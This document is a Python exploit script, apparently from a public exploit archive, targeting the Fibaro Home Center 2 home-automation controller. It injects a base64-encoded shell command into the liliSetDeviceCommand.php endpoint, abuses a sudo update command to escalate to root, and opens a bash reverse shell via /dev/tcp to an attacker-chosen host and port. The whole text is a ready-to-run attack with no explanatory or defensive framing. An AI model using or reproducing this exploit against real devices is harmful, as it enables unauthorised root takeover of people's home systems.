Fibaro Home Center 2 - Remote Command Execution / Privilege Escalation

#!/usr/bin/python
 
import requests
import argparse
import urllib
import base64
import tarfile
import os
 
parser = argparse.ArgumentParser(description='Fibaro RCE')
parser.add_argument('--rhost')
parser.add_argument('--lhost')
parser.add_argument('--lport')
args = parser.parse_args()
 
f = open('run.sh', 'w')
f.write('#!/bin/bash\n')
f.write('/bin/bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1\n')
f.close()
 
os.chmod('run.sh', 0777)
 
tar = tarfile.open("root.tar.gz", "w:gz")
tar.add("run.sh")
tar.close()
 
with open("root.tar.gz", "rb") as tarfile:
tar64 = base64.b64encode(tarfile.read())
 
wwwexec = urllib.quote_plus(base64.b64encode("echo '" + tar64 + "' | base64 -d > /tmp/patch.tar.gz && sudo update --manual /tmp/patch.tar.gz"))
 
os.remove('run.sh')
os.remove('root.tar.gz')
 
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Fibaro-Version': '2',
'X-Requested-With': 'XMLHttpRequest',
}
 
data = 'deviceID=1&deviceName=&deviceType=&cmd1=`echo${IFS}' + wwwexec + '|base64${IFS}-d|/bin/bash`&cmd2=&roomID=1&roomName=&sectionID=&sectionName=&lang=en'
print "[+] Popping a root shell..."
 
requests.post('http://' + args.rhost + '/services/liliSetDeviceCommand.php', headers=headers, data=data, verify=False)